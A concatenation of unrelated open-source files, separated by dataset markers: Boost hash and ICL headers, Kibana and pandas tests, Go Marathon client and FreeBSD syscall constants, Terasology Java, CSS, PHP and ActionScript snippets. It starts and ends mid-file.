inline std::size_t hash_value(std::shared_ptr<T> const& x) {
return boost::hash_value(x.get());
}
template <typename T, typename Deleter>
inline std::size_t hash_value(std::unique_ptr<T, Deleter> const& x) {
return boost::hash_value(x.get());
}
#endif
//
// call_hash_impl
//
// On compilers without function template ordering, this deals with arrays.
#if defined(BOOST_NO_FUNCTION_TEMPLATE_ORDERING)
namespace hash_detail
{
template <bool IsArray>
struct call_hash_impl
{
template <class T>
struct inner
{
static std::size_t call(T const& v)
{
using namespace boost;
return hash_value(v);
}
};
};
template <>
struct call_hash_impl<true>
{
template <class Array>
struct inner
{
#if !BOOST_WORKAROUND(BOOST_MSVC, < 1300)
static std::size_t call(Array const& v)
#else
static std::size_t call(Array& v)
#endif
{
const int size = sizeof(v) / sizeof(*v);
return boost::hash_range(v, v + size);
}
};
};
template <class T>
struct call_hash
: public call_hash_impl<boost::is_array<T>::value>
::BOOST_NESTED_TEMPLATE inner<T>
{
};
}
#endif // BOOST_NO_FUNCTION_TEMPLATE_ORDERING
//
// boost::hash
//
#if !defined(BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION)
template <class T> struct hash
: std::unary_function<T, std::size_t>
{
#if !defined(BOOST_NO_FUNCTION_TEMPLATE_ORDERING)
std::size_t operator()(T const& val) const
{
return hash_value(val);
}
#else
std::size_t operator()(T const& val) const
{
return hash_detail::call_hash<T>::call(val);
}
#endif
};
#if BOOST_WORKAROUND(__DMC__, <= 0x848)
template <class T, unsigned int n> struct hash<T[n]>
: std::unary_function<T[n], std::size_t>
{
std::size_t operator()(const T* val) const
{
return boost::hash_range(val, val+n);
}
};
#endif
#else // BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION
// On compilers without partial specialization, boost::hash<T>
// has already been declared to deal with pointers, so just
// need to supply the non-pointer version of hash_impl.
namespace hash_detail
{
template <bool IsPointer>
struct hash_impl;
#if !BOOST_WORKAROUND(BOOST_MSVC, < 1300)
template <>
struct hash_impl<false>
{
template <class T>
struct inner
: std::unary_function<T, std::size_t>
{
#if !defined(BOOST_NO_FUNCTION_TEMPLATE_ORDERING)
std::size_t operator()(T const& val) const
{
return hash_value(val);
}
#else
std::size_t operator()(T const& val) const
{
return hash_detail::call_hash<T>::call(val);
}
#endif
};
};
#else // Visual C++ 6.5
// Visual C++ 6.5 has problems with nested member functions and
// applying const to const types in templates. So we get this:
template <bool IsConst>
struct hash_impl_msvc
{
template <class T>
struct inner
: public std::unary_function<T, std::size_t>
{
std::size_t operator()(T const& val) const
{
return hash_detail::call_hash<T const>::call(val);
}
std::size_t operator()(T& val) const
{
return hash_detail::call_hash<T>::call(val);
}
};
};
template <>
struct hash_impl_msvc<true>
{
template <class T>
struct inner
: public std::unary_function<T, std::size_t>
{
std::size_t operator()(T& val) const
{
return hash_detail::call_hash<T>::call(val);
}
};
};
template <class T>
struct hash_impl_msvc2
: public hash_impl_msvc<boost::is_const<T>::value>
::BOOST_NESTED_TEMPLATE inner<T> {};
template <>
struct hash_impl<false>
{
template <class T>
struct inner : public hash_impl_msvc2<T> {};
};
#endif // Visual C++ 6.5
}
#endif // BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION
}
#endif
|
{
"pile_set_name": "Github"
}
|
import sinon from 'sinon';
import expect from 'expect.js';
import ngMock from 'ng_mock';
import { DocSourceProvider } from '../../data_source/doc_source';
import { DocDataRequestProvider } from '../request/doc_data';
describe('Courier DocFetchRequest class', function () {
let storage;
let source;
let defer;
let req;
let setVersion;
beforeEach(ngMock.module('kibana'));
beforeEach(ngMock.inject(function (Private, Promise, $injector) {
const DocSource = Private(DocSourceProvider);
const DocFetchRequest = Private(DocDataRequestProvider);
storage =
$injector.get('localStorage').store =
$injector.get('sessionStorage').store = {
getItem: sinon.stub(),
setItem: sinon.stub(),
removeItem: sinon.stub(),
clear: sinon.stub()
};
source = new DocSource({})
.set('index', 'doc-index')
.set('type', 'doc-type')
.set('id', 'doc-id');
defer = Promise.defer();
req = new DocFetchRequest(source, defer);
/**
* Setup the version numbers for tests. There are two versions for the
* purposes of these tests.
*
* @param {number} mine - the version that the DocSource most
* recently received from elasticsearch.
* @param {number} theirs - the version that other DocSources have
* received from elasticsearfch.
*/
setVersion = function (mine, theirs) {
source._version = mine;
storage.getItem.withArgs(source._versionKey()).returns(theirs);
};
}));
describe('#canStart', function () {
it('can if the doc is unknown', function () {
setVersion(undefined, undefined);
expect(req.canStart()).to.be(true);
});
it('cannot if the doc is unknown but the request is already in progress', function () {
setVersion(undefined, undefined);
req.start();
expect(req.canStart()).to.be(false);
});
it('can if the doc is out of date', function () {
setVersion(1, 2);
expect(req.canStart()).to.be(true);
});
it('can if the doc is out of date and the request is in progress', function () {
setVersion(1, 2);
req.start();
expect(req.canStart()).to.be(true);
});
it('cannot if the doc is up to date', function () {
setVersion(2, 2);
expect(req.canStart()).to.be(false);
});
it('can if the doc is overdated', function () {
setVersion(5, 2);
expect(req.canStart()).to.be(true);
});
it('can if shared version is cleared', function () {
setVersion(10, undefined);
expect(req.canStart()).to.be(true);
});
it('can if everyone else has a doc', function () {
setVersion(undefined, 10);
expect(req.canStart()).to.be(true);
});
});
});
|
{
"pile_set_name": "Github"
}
|
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
package InternalClassPackage {
class InternalClass {
internal var array:Array;
internal var boolean:Boolean;
internal var date:Date;
internal var myFunction:Function;
internal var math:Math;
internal var number:Number;
internal var object:Object;
internal var string:String;
// ****************
// constructor
// ****************
function InternalClass() {}
// *****************
// public methods
// *****************
public function getArray() : Array { return array; }
public function getBoolean() : Boolean { return boolean; }
public function getDate() : Date { return date; }
public function getFunction() : Function { return myFunction; }
public function getMath() : Math { return math; }
public function getNumber() : Number { return number; }
public function getObject() : Object { return object; }
public function getString() : String { return string; }
public function setArray( a:Array ) { array = a; }
public function setBoolean( b:Boolean ) { boolean = b; }
public function setDate( d:Date ) { date = d; }
public function setFunction( f:Function ) { myFunction = f; }
public function setMath( m:Math ) { math = m; }
public function setNumber( n:Number ) { number = n; }
public function setObject( o:Object ) { object = o; }
public function setString( s:String ) { string = s; }
}
}
|
{
"pile_set_name": "Github"
}
|
.wheel {
position: absolute;
width: 500px;
height: 500px;
border: 2px solid black;
border-radius: 50%;
margin-left: 50px;
}
.line {
position: absolute;
width: 50%;
height: 2px;
left: 50%;
top: 50%;
background-color: black;
transform-origin: 0% 0%;
}
.line:nth-of-type(2) {
transform: rotate(60deg);
}
.line:nth-of-type(3) {
transform: rotate(120deg);
}
.line:nth-of-type(4) {
transform: rotate(180deg);
}
.line:nth-of-type(5) {
transform: rotate(240deg);
}
.line:nth-of-type(6) {
transform: rotate(300deg);
}
.cabin {
position: absolute;
width: 80px;
height: 100px;
border: 2px solid;
background-color: red;
transform-origin: 50% 0%;
}
.cabin:nth-of-type(1) {
right: -8.5%;
top: 50%;
}
.cabin:nth-of-type(2) {
right: 17%;
top: 93.5%;
}
.cabin:nth-of-type(3) {
right: 67%;
top: 93.5%;
}
.cabin:nth-of-type(4) {
left: -8.5%;
top: 50%;
}
.cabin:nth-of-type(5) {
left: 17%;
top: 7%;
}
.cabin:nth-of-type(6) {
right: 17%;
top: 7%;
}
/* Now create another section inside the `keyframes` rule to specify the condition of the element at "100%". Inside `100%`, set the rotation transformation to "360deg". The "wheel" animation will now rotate an element from 0 degrees to 360 degrees.
*/
@keyframes wheel {
0% {
transform: rotate(0deg);
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
use Foo\Bar; /*
* This multi-line comment shouldn't be allowed here.
*/
class Baz
{
}
|
{
"pile_set_name": "Github"
}
|
/*-----------------------------------------------------------------------------+
Copyright (c) 2008-2009: Joachim Faulhaber
+------------------------------------------------------------------------------+
Distributed under the Boost Software License, Version 1.0.
(See accompanying file LICENCE.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
+-----------------------------------------------------------------------------*/
#ifndef BOOST_ICL_TYPE_TRAITS_HAS_SET_SEMANTICS_HPP_JOFA_100829
#define BOOST_ICL_TYPE_TRAITS_HAS_SET_SEMANTICS_HPP_JOFA_100829
#include <boost/mpl/or.hpp>
#include <boost/mpl/and.hpp>
#include <boost/icl/type_traits/is_set.hpp>
#include <boost/icl/type_traits/is_map.hpp>
#include <boost/icl/type_traits/codomain_type_of.hpp>
namespace boost{ namespace icl
{
template <class Type> struct has_set_semantics
{
typedef has_set_semantics<Type> type;
BOOST_STATIC_CONSTANT(bool,
value = (mpl::or_< is_set<Type>
, mpl::and_< is_map<Type>
, has_set_semantics
<typename codomain_type_of<Type>::type >
>
>::value));
};
}} // namespace boost icl
#endif
|
{
"pile_set_name": "Github"
}
|
import codecs
import locale
import os
import pytest
from pandas._config.localization import can_set_locale, get_locales, set_locale
from pandas.compat import is_platform_windows
import pandas as pd
_all_locales = get_locales() or []
_current_locale = locale.getlocale()
# Don't run any of these tests if we are on Windows or have no locales.
pytestmark = pytest.mark.skipif(
is_platform_windows() or not _all_locales, reason="Need non-Windows and locales"
)
_skip_if_only_one_locale = pytest.mark.skipif(
len(_all_locales) <= 1, reason="Need multiple locales for meaningful test"
)
def test_can_set_locale_valid_set():
# Can set the default locale.
assert can_set_locale("")
def test_can_set_locale_invalid_set():
# Cannot set an invalid locale.
assert not can_set_locale("non-existent_locale")
def test_can_set_locale_invalid_get(monkeypatch):
# see GH#22129
# In some cases, an invalid locale can be set,
# but a subsequent getlocale() raises a ValueError.
def mock_get_locale():
raise ValueError()
with monkeypatch.context() as m:
m.setattr(locale, "getlocale", mock_get_locale)
assert not can_set_locale("")
def test_get_locales_at_least_one():
# see GH#9744
assert len(_all_locales) > 0
@_skip_if_only_one_locale
def test_get_locales_prefix():
first_locale = _all_locales[0]
assert len(get_locales(prefix=first_locale[:2])) > 0
@_skip_if_only_one_locale
@pytest.mark.parametrize(
"lang,enc",
[
("it_CH", "UTF-8"),
("en_US", "ascii"),
("zh_CN", "GB2312"),
("it_IT", "ISO-8859-1"),
],
)
def test_set_locale(lang, enc):
if all(x is None for x in _current_locale):
# Not sure why, but on some Travis runs with pytest,
# getlocale() returned (None, None).
pytest.skip("Current locale is not set.")
enc = codecs.lookup(enc).name
new_locale = lang, enc
if not can_set_locale(new_locale):
msg = "unsupported locale setting"
with pytest.raises(locale.Error, match=msg):
with set_locale(new_locale):
pass
else:
with set_locale(new_locale) as normalized_locale:
new_lang, new_enc = normalized_locale.split(".")
new_enc = codecs.lookup(enc).name
normalized_locale = new_lang, new_enc
assert normalized_locale == new_locale
# Once we exit the "with" statement, locale should be back to what it was.
current_locale = locale.getlocale()
assert current_locale == _current_locale
def test_encoding_detected():
system_locale = os.environ.get("LC_ALL")
system_encoding = system_locale.split(".")[-1] if system_locale else "utf-8"
assert (
codecs.lookup(pd.options.display.encoding).name
== codecs.lookup(system_encoding).name
)
|
{
"pile_set_name": "Github"
}
|
/*
Copyright 2014 Rohith All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package marathon
import (
"fmt"
"net/http"
"net/url"
"strings"
"sync"
"time"
)
const (
memberStatusUp = 0
memberStatusDown = 1
)
// the status of a member node
type memberStatus int
// cluster is a collection of marathon nodes
type cluster struct {
sync.RWMutex
// a collection of nodes
members []*member
// the http client
client *http.Client
}
// member represents an individual endpoint
type member struct {
// the name / ip address of the host
endpoint string
// the status of the host
status memberStatus
}
// newCluster returns a new marathon cluster
func newCluster(client *http.Client, marathonURL string) (*cluster, error) {
// step: extract and basic validate the endpoints
var members []*member
var defaultProto string
for _, endpoint := range strings.Split(marathonURL, ",") {
// step: check for nothing
if endpoint == "" {
return nil, newInvalidEndpointError("endpoint is blank")
}
// step: prepend scheme if missing on (non-initial) endpoint.
if !strings.HasPrefix(endpoint, "http://") && !strings.HasPrefix(endpoint, "https://") {
if defaultProto == "" {
return nil, newInvalidEndpointError("missing scheme on (first) endpoint")
}
endpoint = fmt.Sprintf("%s://%s", defaultProto, endpoint)
}
// step: parse the url
u, err := url.Parse(endpoint)
if err != nil {
return nil, newInvalidEndpointError("invalid endpoint '%s': %s", endpoint, err)
}
if defaultProto == "" {
defaultProto = u.Scheme
}
// step: check for empty hosts
if u.Host == "" {
return nil, newInvalidEndpointError("endpoint: %s must have a host", endpoint)
}
// step: create a new node for this endpoint
members = append(members, &member{endpoint: u.String()})
}
return &cluster{
client: client,
members: members,
}, nil
}
// retrieve the current member, i.e. the current endpoint in use
func (c *cluster) getMember() (string, error) {
c.RLock()
defer c.RUnlock()
for _, n := range c.members {
if n.status == memberStatusUp {
return n.endpoint, nil
}
}
return "", ErrMarathonDown
}
// markDown marks down the current endpoint
func (c *cluster) markDown(endpoint string) {
c.Lock()
defer c.Unlock()
for _, n := range c.members {
// step: check if this is the node and it's marked as up - The double checking on the
// nodes status ensures the multiple calls don't create multiple checks
if n.status == memberStatusUp && n.endpoint == endpoint {
n.status = memberStatusDown
go c.healthCheckNode(n)
break
}
}
}
// healthCheckNode performs a health check on the node and when active updates the status
func (c *cluster) healthCheckNode(node *member) {
// step: wait for the node to become active ... we are assuming a /ping is enough here
for {
res, err := c.client.Get(fmt.Sprintf("%s/ping", node.endpoint))
if err == nil && res.StatusCode == 200 {
break
}
<-time.After(time.Duration(5 * time.Second))
}
// step: mark the node as active again
c.Lock()
defer c.Unlock()
node.status = memberStatusUp
}
// activeMembers returns a list of active members
func (c *cluster) activeMembers() []string {
return c.membersList(memberStatusUp)
}
// nonActiveMembers returns a list of non-active members in the cluster
func (c *cluster) nonActiveMembers() []string {
return c.membersList(memberStatusDown)
}
// memberList returns a list of members of a specified status
func (c *cluster) membersList(status memberStatus) []string {
c.RLock()
defer c.RUnlock()
var list []string
for _, m := range c.members {
if m.status == status {
list = append(list, m.endpoint)
}
}
return list
}
// size returns the size of the cluster
func (c *cluster) size() int {
return len(c.members)
}
// String returns a string representation
func (m member) String() string {
status := "UP"
if m.status == memberStatusDown {
status = "DOWN"
}
return fmt.Sprintf("member: %s:%s", m.endpoint, status)
}
|
{
"pile_set_name": "Github"
}
|
# This is the official list of TensorFlow authors for copyright purposes.
# This file is distinct from the CONTRIBUTORS files.
# See the latter for an explanation.
# Names should be added to this file as:
# Name or Organization <email address>
# The email address is not required for organizations.
Google Inc.
Yuan Tang <terrytangyuan@gmail.com>
|
{
"pile_set_name": "Github"
}
|
//-----------------------------------------------------------------------------
//
// ImageLib Sources
// Copyright (C) 2000-2017 by Denton Woods
// Last modified: 03/07/2009
//
// Filename: src-IL/include/il_jpeg.h
//
// Description: Jpeg (.jpg) functions
//
//-----------------------------------------------------------------------------
#ifndef JPEG_H
#define JPEG_H
#include "il_internal.h"
ILboolean iCheckJpg(ILubyte Header[2]);
ILboolean iIsValidJpg(void);
#ifndef IL_USE_IJL
ILboolean iLoadJpegInternal(void);
ILboolean iSaveJpegInternal(void);
#else
ILboolean iLoadJpegInternal(ILconst_string FileName, ILvoid *Lump, ILuint Size);
ILboolean iSaveJpegInternal(ILconst_string FileName, ILvoid *Lump, ILuint Size);
#endif
#endif//JPEG_H
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2002-2012 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.scripting;
/**
* Simple interface used in testing the scripted beans support.
*
* @author Rick Evans
*/
public interface ScriptBean {
String getName();
void setName(String name);
int getAge();
void setAge(int age);
}
|
{
"pile_set_name": "Github"
}
|
package pack;
import java.util.List;
public class Foo {
public static class List {
public void isInnerList() {}
}
public static List innerList() { throw new Error(); }
}
|
{
"pile_set_name": "Github"
}
|
// WARNING: DO NOT EDIT THIS FILE. THIS FILE IS MANAGED BY SPRING ROO.
// You may push code into the target .java compilation unit if you wish to edit any member(s).
package nl.bzk.brp.model.data.ber;
import java.util.List;
import javax.persistence.EntityManager;
import javax.persistence.PersistenceContext;
import nl.bzk.brp.model.data.ber.Verwerkingsresultaat;
import org.springframework.transaction.annotation.Transactional;
privileged aspect Verwerkingsresultaat_Roo_Jpa_ActiveRecord {
@PersistenceContext
transient EntityManager Verwerkingsresultaat.entityManager;
public static final EntityManager Verwerkingsresultaat.entityManager() {
EntityManager em = new Verwerkingsresultaat().entityManager;
if (em == null) throw new IllegalStateException("Entity manager has not been injected (is the Spring Aspects JAR configured as an AJC/AJDT aspects library?)");
return em;
}
public static long Verwerkingsresultaat.countVerwerkingsresultaats() {
return entityManager().createQuery("SELECT COUNT(o) FROM Verwerkingsresultaat o", Long.class).getSingleResult();
}
public static List<Verwerkingsresultaat> Verwerkingsresultaat.findAllVerwerkingsresultaats() {
return entityManager().createQuery("SELECT o FROM Verwerkingsresultaat o", Verwerkingsresultaat.class).getResultList();
}
public static Verwerkingsresultaat Verwerkingsresultaat.findVerwerkingsresultaat(Short id) {
if (id == null) return null;
return entityManager().find(Verwerkingsresultaat.class, id);
}
public static List<Verwerkingsresultaat> Verwerkingsresultaat.findVerwerkingsresultaatEntries(int firstResult, int maxResults) {
return entityManager().createQuery("SELECT o FROM Verwerkingsresultaat o", Verwerkingsresultaat.class).setFirstResult(firstResult).setMaxResults(maxResults).getResultList();
}
@Transactional
public void Verwerkingsresultaat.persist() {
if (this.entityManager == null) this.entityManager = entityManager();
this.entityManager.persist(this);
}
@Transactional
public void Verwerkingsresultaat.remove() {
if (this.entityManager == null) this.entityManager = entityManager();
if (this.entityManager.contains(this)) {
this.entityManager.remove(this);
} else {
Verwerkingsresultaat attached = Verwerkingsresultaat.findVerwerkingsresultaat(this.id);
this.entityManager.remove(attached);
}
}
@Transactional
public void Verwerkingsresultaat.flush() {
if (this.entityManager == null) this.entityManager = entityManager();
this.entityManager.flush();
}
@Transactional
public void Verwerkingsresultaat.clear() {
if (this.entityManager == null) this.entityManager = entityManager();
this.entityManager.clear();
}
@Transactional
public Verwerkingsresultaat Verwerkingsresultaat.merge() {
if (this.entityManager == null) this.entityManager = entityManager();
Verwerkingsresultaat merged = this.entityManager.merge(this);
this.entityManager.flush();
return merged;
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2014 MovingBlocks
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.terasology.logic.location;
import com.google.common.collect.Lists;
import org.joml.Quaternionf;
import org.joml.Quaternionfc;
import org.joml.Vector3fc;
import org.terasology.entitySystem.Component;
import org.terasology.entitySystem.entity.EntityRef;
import org.terasology.math.Direction;
import org.terasology.math.JomlUtil;
import org.terasology.math.geom.Quat4f;
import org.terasology.math.geom.Vector3f;
import org.terasology.network.Replicate;
import org.terasology.network.ReplicationCheck;
import org.terasology.nui.properties.TextField;
import org.terasology.reflection.metadata.FieldMetadata;
import java.util.Collection;
import java.util.List;
import java.util.Objects;
/**
* Component represent the location and facing of an entity in the world
*
*/
public final class LocationComponent implements Component, ReplicationCheck {
public boolean replicateChanges = true;
// Relative to
@Replicate
EntityRef parent = EntityRef.NULL;
@Replicate
List<EntityRef> children = Lists.newArrayList();
// Standard position/rotation
@Replicate
@TextField
Vector3f position = new Vector3f();
@Replicate
Quat4f rotation = new Quat4f(0, 0, 0, 1);
@Replicate
float scale = 1.0f;
@Replicate
Vector3f lastPosition = new Vector3f();
@Replicate
Quat4f lastRotation = new Quat4f(0, 0, 0, 1);
public LocationComponent() {
}
public LocationComponent(Vector3f position) {
setLocalPosition(position);
}
/**
* @return local rotation of location component
*
* TODO: make this readonly Quaternionfc -- Michael Pollind
*/
public Quat4f getLocalRotation() {
return rotation;
}
/**
* @param newQuat
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #setLocalRotation(Quaternionfc)}.
*/
@Deprecated
public void setLocalRotation(Quat4f newQuat) {
lastRotation.set(rotation);
rotation.set(newQuat);
}
/**
* set the current local rotation of the component
*
* @param rot local rotation
*/
public void setLocalRotation(Quaternionfc rot) {
lastRotation.set(rotation);
rotation.set(JomlUtil.from(rot));
}
/**
* @return The position of this component relative to any parent. Can be directly modified to update the component
* TODO: make this readonly Vector3fc -- Michael Pollind
*/
public Vector3f getLocalPosition() {
return position;
}
/**
* @param pos
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #setLocalPosition(Vector3fc)}.
*/
@Deprecated
public void setLocalPosition(Vector3f pos) {
lastPosition.set(position);
position.set(pos);
}
/**
* the local position of this location component
*
* @param pos position to set
*/
public void setLocalPosition(Vector3fc pos) {
lastPosition.set(position);
position.set(JomlUtil.from(pos));
}
/**
* @return
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #getLocalDirection(org.joml.Vector3f)}.
*/
@Deprecated
public Vector3f getLocalDirection() {
Vector3f result = Direction.FORWARD.getVector3f();
getLocalRotation().rotate(result, result);
return result;
}
/**
* gets the local direction of the given entity in
*
* @param dest will hold the result
* @return dest
*/
public org.joml.Vector3f getLocalDirection(org.joml.Vector3f dest) {
return dest.set(Direction.FORWARD.asVector3i()).rotate(JomlUtil.from(getLocalRotation()));
}
/**
* set the local scale
* @param value the scale
*/
public void setLocalScale(float value) {
this.scale = value;
}
/**
* local scale
* @return the scale
*/
public float getLocalScale() {
return scale;
}
/**
* @return A new vector containing the world location.
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #getWorldPosition(org.joml.Vector3f)}.
*/
@Deprecated
public Vector3f getWorldPosition() {
return getWorldPosition(new Vector3f());
}
/**
* @param output
* @return
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #getWorldPosition(org.joml.Vector3f)}.
*/
@Deprecated
public Vector3f getWorldPosition(Vector3f output) {
output.set(JomlUtil.from(getWorldPosition(new org.joml.Vector3f())));
return output;
}
/**
* get the world position
*
* @param dest will hold the result
* @return dest
*/
public org.joml.Vector3f getWorldPosition(org.joml.Vector3f dest) {
dest.set(JomlUtil.from(position));
LocationComponent parentLoc = parent.getComponent(LocationComponent.class);
while (parentLoc != null) {
dest.mul(parentLoc.scale);
dest.rotate(JomlUtil.from(parentLoc.getLocalRotation()));
dest.add(JomlUtil.from(parentLoc.position));
parentLoc = parentLoc.parent.getComponent(LocationComponent.class);
}
return dest;
}
/**
* Populates out with the transform of this entity relative to the given entity, or the world transform if entity
* is not in this entity's parent hierarchy
* @param out
* @param entity
*/
public void getRelativeTransform(org.terasology.math.geom.Matrix4f out, EntityRef entity) {
if (!(entity.equals(parent))) {
LocationComponent loc = parent.getComponent(LocationComponent.class);
if (loc != null) {
loc.getRelativeTransform(out, entity);
}
}
out.mul(new org.terasology.math.geom.Matrix4f(rotation, position, scale));
}
/**
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #getWorldDirection(org.joml.Vector3f)}.
*/
@Deprecated
public Vector3f getWorldDirection() {
Vector3f result = Direction.FORWARD.getVector3f();
getWorldRotation().rotate(result, result);
return result;
}
public org.joml.Vector3f getWorldDirection(org.joml.Vector3f dest) {
return dest.set(Direction.FORWARD.asVector3f()).rotate(JomlUtil.from(getWorldRotation()));
}
/**
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #getWorldRotation(Quaternionf)}.
*/
@Deprecated
public Quat4f getWorldRotation() {
return getWorldRotation(new Quat4f(0, 0, 0, 1));
}
/**
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #getWorldRotation(Quaternionf)}.
*/
@Deprecated
public Quat4f getWorldRotation(Quat4f output) {
output.set(JomlUtil.from(getWorldRotation(new Quaternionf())));
return output;
}
/**
* get the current world rotation of the location component
*
* @param dest will hold the result
* @return dest
*/
public Quaternionf getWorldRotation(Quaternionf dest) {
dest.set(JomlUtil.from(rotation));
LocationComponent parentLoc = parent.getComponent(LocationComponent.class);
while (parentLoc != null) {
dest.premul(JomlUtil.from(parentLoc.rotation));
parentLoc = parentLoc.parent.getComponent(LocationComponent.class);
}
return dest;
}
public float getWorldScale() {
float result = scale;
LocationComponent parentLoc = parent.getComponent(LocationComponent.class);
while (parentLoc != null) {
result *= parentLoc.getLocalScale();
parentLoc = parentLoc.parent.getComponent(LocationComponent.class);
}
return result;
}
/**
* @param value
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #setWorldPosition(Vector3fc)}.
*/
@Deprecated
public void setWorldPosition(Vector3f value) {
this.setWorldPosition(JomlUtil.from(value));
}
/**
* set the world position of the {@link LocationComponent}
*
* @param pos position to set
*/
public void setWorldPosition(Vector3fc pos) {
setLocalPosition(pos);
LocationComponent parentLoc = parent.getComponent(LocationComponent.class);
if (parentLoc != null) {
this.position.sub(parentLoc.getWorldPosition());
this.position.scale(1f / parentLoc.getWorldScale());
Quat4f rot = new Quat4f(0, 0, 0, 1);
rot.inverse(parentLoc.getWorldRotation());
rot.rotate(this.position, this.position);
}
}
/**
* set the world rotation of the {@link LocationComponent}
*
* @param value
* @deprecated This is scheduled for removal in an upcoming version method will be replaced with JOML implementation
* {@link #setWorldRotation(Quaternionfc)}.
*/
@Deprecated
public void setWorldRotation(Quat4f value) {
this.setWorldRotation(JomlUtil.from(value));
}
/**
* set the world rotation of the {@link LocationComponent}
*
* @param value position to set
*/
public void setWorldRotation(Quaternionfc value) {
setLocalRotation(value);
LocationComponent parentLoc = parent.getComponent(LocationComponent.class);
if (parentLoc != null) {
Quat4f worldRot = parentLoc.getWorldRotation();
worldRot.inverse();
this.rotation.mul(worldRot, this.rotation);
}
}
public void setWorldScale(float value) {
this.scale = value;
LocationComponent parentLoc = parent.getComponent(LocationComponent.class);
if (parentLoc != null) {
this.scale /= parentLoc.getWorldScale();
}
}
public EntityRef getParent() {
return parent;
}
public Collection<EntityRef> getChildren() {
return children;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o instanceof LocationComponent) {
LocationComponent other = (LocationComponent) o;
return other.scale == scale && Objects.equals(parent, other.parent) && Objects.equals(position, other.position) && Objects.equals(rotation, other.rotation);
}
return false;
}
@Override
public int hashCode() {
return Objects.hash(position, rotation, scale, parent);
}
@Override
public boolean shouldReplicate(FieldMetadata<?, ?> field, boolean initial, boolean toOwner) {
return initial || replicateChanges;
}
}
|
{
"pile_set_name": "Github"
}
|
# Be sure to restart your server when you modify this file.
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
# Mime::Type.register_alias "text/html", :iphone
|
{
"pile_set_name": "Github"
}
|
function Logger() {
let name, _i, _len, _ref;
_ref = ['log', 'info', 'warn', 'error'];
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
name = _ref[_i];
this[name] = (function (name) {
return function () {
let args, e;
args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
if (!Caman.DEBUG) {
return;
}
try {
return console[name].apply(console, args);
} catch (_error) {
e = _error;
return console[name](args);
}
};
})(name);
}
this.debug = this.log;
}
const Log = new Logger();
export { Log };
|
{
"pile_set_name": "Github"
}
|
// go run mksysnum.go https://svn.freebsd.org/base/stable/10/sys/kern/syscalls.master
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build amd64,freebsd
package unix
const (
// SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
SYS_FORK = 2 // { int fork(void); }
SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
SYS_CLOSE = 6 // { int close(int fd); }
SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
SYS_LINK = 9 // { int link(char *path, char *link); }
SYS_UNLINK = 10 // { int unlink(char *path); }
SYS_CHDIR = 12 // { int chdir(char *path); }
SYS_FCHDIR = 13 // { int fchdir(int fd); }
SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
SYS_GETPID = 20 // { pid_t getpid(void); }
SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
SYS_SETUID = 23 // { int setuid(uid_t uid); }
SYS_GETUID = 24 // { uid_t getuid(void); }
SYS_GETEUID = 25 // { uid_t geteuid(void); }
SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
